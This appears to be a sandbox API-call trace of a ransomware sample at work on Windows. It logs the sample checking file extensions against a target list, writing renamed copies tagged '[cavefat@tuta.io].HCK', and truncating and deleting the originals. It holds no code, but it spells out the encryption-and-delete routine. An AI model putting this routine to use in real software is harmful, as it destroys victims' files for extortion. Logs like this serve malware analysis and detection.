[0178.720] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01680_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01680_.wmf")) returned 1 [0178.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01680_.WMF") returned 68 [0178.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01680_.WMF") returned 68 [0178.723] lstrlenW (lpString=".doc") returned 4 [0178.723] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.723] lstrlenW (lpString=".docx") returned 5 [0178.723] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.723] lstrlenW (lpString=".pdf") returned 4 [0178.723] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.723] lstrlenW (lpString=".xls") returned 4 [0178.723] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.723] lstrlenW (lpString=".xlsx") returned 5 [0178.723] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.723] lstrlenW (lpString=".ppt") returned 4 [0178.723] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01680_.WMF") returned 68 [0178.723] lstrlenW (lpString=".zip") returned 4 [0178.723] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.723] lstrlenW (lpString=".rar") returned 4 [0178.723] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.723] lstrlenW (lpString=".bz2") returned 4 [0178.723] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.723] lstrlenW (lpString=".7z") returned 3 [0178.723] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01680_.WMF") returned 68 [0178.723] lstrlenW (lpString=".dbf") returned 4 [0178.723] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01680_.WMF") returned 68 [0178.723] lstrlenW (lpString=".1cd") returned 4 [0178.723] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01680_.WMF") returned 68 [0178.723] lstrlenW (lpString=".jpg") returned 4 [0178.723] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01680_.WMF") returned 68 [0178.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01680_.WMF") returned 68 [0178.723] lstrlenW (lpString=".doc") returned 4 [0178.723] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.724] lstrlenW (lpString=".docx") returned 5 [0178.724] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.724] lstrlenW (lpString=".pdf") returned 4 [0178.724] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.724] lstrlenW (lpString=".xls") returned 4 [0178.724] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.724] lstrlenW (lpString=".xlsx") returned 5 [0178.724] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.724] lstrlenW (lpString=".ppt") returned 4 [0178.724] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01680_.WMF") returned 68 [0178.724] lstrlenW (lpString=".zip") returned 4 [0178.724] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.724] lstrlenW (lpString=".rar") returned 4 [0178.724] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.724] lstrlenW (lpString=".bz2") returned 4 [0178.724] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.724] lstrlenW (lpString=".7z") returned 3 [0178.724] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01680_.WMF") returned 68 [0178.724] lstrlenW (lpString=".dbf") returned 4 [0178.724] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01680_.WMF") returned 68 [0178.724] lstrlenW (lpString=".1cd") returned 4 [0178.724] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01680_.WMF") returned 68 [0178.724] lstrlenW (lpString=".jpg") returned 4 [0178.724] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.724] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0178.724] lstrlenW (lpString="NA01849_.WMF") returned 12 [0178.724] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01849_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01849_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0178.725] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=624) returned 1 [0178.725] CloseHandle (hObject=0x3a4) returned 1 [0178.725] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01849_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01849_.wmf")) returned 0x220 [0178.727] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01849_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01849_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0178.728] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01849_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01849_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0178.732] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.732] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.732] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01849_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01849_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0178.734] GetLastError () returned 0x0 [0178.734] ReadFile (in: hFile=0x2fc, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x270, lpOverlapped=0x0) returned 1 [0178.735] WriteFile (in: hFile=0x300, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x280, lpOverlapped=0x0) returned 1 [0178.735] ReadFile (in: hFile=0x2fc, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0178.735] WriteFile (in: hFile=0x300, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0178.735] SetEndOfFile (hFile=0x300) returned 1 [0178.737] CloseHandle (hObject=0x300) returned 1 [0178.738] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.738] SetEndOfFile (hFile=0x2fc) returned 1 [0178.739] CloseHandle (hObject=0x2fc) returned 1 [0178.739] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01849_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0178.739] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01849_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01849_.wmf")) returned 1 [0178.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01849_.WMF") returned 68 [0178.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01849_.WMF") returned 68 [0178.740] lstrlenW (lpString=".doc") returned 4 [0178.740] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.740] lstrlenW (lpString=".docx") returned 5 [0178.740] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.740] lstrlenW (lpString=".pdf") returned 4 [0178.740] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.740] lstrlenW (lpString=".xls") returned 4 [0178.740] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.740] lstrlenW (lpString=".xlsx") returned 5 [0178.740] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.740] lstrlenW (lpString=".ppt") returned 4 [0178.740] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01849_.WMF") returned 68 [0178.740] lstrlenW (lpString=".zip") returned 4 [0178.740] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.740] lstrlenW (lpString=".rar") returned 4 [0178.740] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.740] lstrlenW (lpString=".bz2") returned 4 [0178.740] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.740] lstrlenW (lpString=".7z") returned 3 [0178.740] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01849_.WMF") returned 68 [0178.740] lstrlenW (lpString=".dbf") returned 4 [0178.740] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01849_.WMF") returned 68 [0178.740] lstrlenW (lpString=".1cd") returned 4 [0178.740] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01849_.WMF") returned 68 [0178.740] lstrlenW (lpString=".jpg") returned 4 [0178.740] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01849_.WMF") returned 68 [0178.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01849_.WMF") returned 68 [0178.740] lstrlenW (lpString=".doc") returned 4 [0178.740] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.741] lstrlenW (lpString=".docx") returned 5 [0178.741] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.741] lstrlenW (lpString=".pdf") returned 4 [0178.741] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.741] lstrlenW (lpString=".xls") returned 4 [0178.741] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.741] lstrlenW (lpString=".xlsx") returned 5 [0178.741] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.741] lstrlenW (lpString=".ppt") returned 4 [0178.741] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01849_.WMF") returned 68 [0178.741] lstrlenW (lpString=".zip") returned 4 [0178.741] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.741] lstrlenW (lpString=".rar") returned 4 [0178.741] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.741] lstrlenW (lpString=".bz2") returned 4 [0178.741] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.741] lstrlenW (lpString=".7z") returned 3 [0178.741] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01849_.WMF") returned 68 [0178.741] lstrlenW (lpString=".dbf") returned 4 [0178.741] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01849_.WMF") returned 68 [0178.741] lstrlenW (lpString=".1cd") returned 4 [0178.741] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01849_.WMF") returned 68 [0178.741] lstrlenW (lpString=".jpg") returned 4 [0178.741] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.741] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0178.741] lstrlenW (lpString="NA02009_.WMF") returned 12 [0178.741] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02009_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02009_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0178.749] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=10208) returned 1 [0178.749] CloseHandle (hObject=0x368) returned 1 [0178.749] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02009_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02009_.wmf")) returned 0x220 [0178.751] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02009_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02009_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0178.753] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02009_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02009_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0178.754] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.754] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.754] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02009_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02009_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0178.758] GetLastError () returned 0x0 [0178.758] ReadFile (in: hFile=0x2fc, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x27e0, lpOverlapped=0x0) returned 1 [0178.760] WriteFile (in: hFile=0x3a4, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x27f0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x27f0, lpOverlapped=0x0) returned 1 [0178.760] ReadFile (in: hFile=0x2fc, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0178.760] WriteFile (in: hFile=0x3a4, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0178.760] SetEndOfFile (hFile=0x3a4) returned 1 [0178.762] CloseHandle (hObject=0x3a4) returned 1 [0178.764] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.764] SetEndOfFile (hFile=0x2fc) returned 1 [0178.765] CloseHandle (hObject=0x2fc) returned 1 [0178.766] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02009_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0178.766] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02009_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02009_.wmf")) returned 1 [0178.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02009_.WMF") returned 68 [0178.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02009_.WMF") returned 68 [0178.767] lstrlenW (lpString=".doc") returned 4 [0178.767] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.767] lstrlenW (lpString=".docx") returned 5 [0178.767] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.767] lstrlenW (lpString=".pdf") returned 4 [0178.767] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.767] lstrlenW (lpString=".xls") returned 4 [0178.767] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.767] lstrlenW (lpString=".xlsx") returned 5 [0178.767] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.767] lstrlenW (lpString=".ppt") returned 4 [0178.767] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02009_.WMF") returned 68 [0178.767] lstrlenW (lpString=".zip") returned 4 [0178.767] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.767] lstrlenW (lpString=".rar") returned 4 [0178.767] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.767] lstrlenW (lpString=".bz2") returned 4 [0178.767] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.767] lstrlenW (lpString=".7z") returned 3 [0178.767] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02009_.WMF") returned 68 [0178.767] lstrlenW (lpString=".dbf") returned 4 [0178.767] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02009_.WMF") returned 68 [0178.767] lstrlenW (lpString=".1cd") returned 4 [0178.767] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02009_.WMF") returned 68 [0178.767] lstrlenW (lpString=".jpg") returned 4 [0178.767] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02009_.WMF") returned 68 [0178.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02009_.WMF") returned 68 [0178.767] lstrlenW (lpString=".doc") returned 4 [0178.767] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.767] lstrlenW (lpString=".docx") returned 5 [0178.767] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.767] lstrlenW (lpString=".pdf") returned 4 [0178.768] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.768] lstrlenW (lpString=".xls") returned 4 [0178.768] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.768] lstrlenW (lpString=".xlsx") returned 5 [0178.768] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.768] lstrlenW (lpString=".ppt") returned 4 [0178.768] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02009_.WMF") returned 68 [0178.768] lstrlenW (lpString=".zip") returned 4 [0178.768] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.768] lstrlenW (lpString=".rar") returned 4 [0178.768] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.768] lstrlenW (lpString=".bz2") returned 4 [0178.768] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.768] lstrlenW (lpString=".7z") returned 3 [0178.768] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02009_.WMF") returned 68 [0178.768] lstrlenW (lpString=".dbf") returned 4 [0178.768] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02009_.WMF") returned 68 [0178.768] lstrlenW (lpString=".1cd") returned 4 [0178.768] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02009_.WMF") returned 68 [0178.768] lstrlenW (lpString=".jpg") returned 4 [0178.768] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.768] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0178.768] lstrlenW (lpString="NA02092_.WMF") returned 12 [0178.768] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02092_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02092_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0178.769] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=1644) returned 1 [0178.769] CloseHandle (hObject=0x300) returned 1 [0178.769] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02092_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02092_.wmf")) returned 0x220 [0178.773] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02092_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02092_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0178.774] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02092_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02092_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0178.776] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.776] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.776] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02092_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02092_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0178.779] GetLastError () returned 0x0 [0178.779] ReadFile (in: hFile=0x300, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x66c, lpOverlapped=0x0) returned 1 [0178.780] WriteFile (in: hFile=0x39c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x670, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x670, lpOverlapped=0x0) returned 1 [0178.781] ReadFile (in: hFile=0x300, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0178.781] WriteFile (in: hFile=0x39c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0178.781] SetEndOfFile (hFile=0x39c) returned 1 [0178.782] CloseHandle (hObject=0x39c) returned 1 [0178.785] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0178.785] SetEndOfFile (hFile=0x300) returned 1 [0178.786] CloseHandle (hObject=0x300) returned 1 [0178.787] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02092_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0178.788] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02092_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na02092_.wmf")) returned 1 [0178.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA02092_.WMF") returned 68 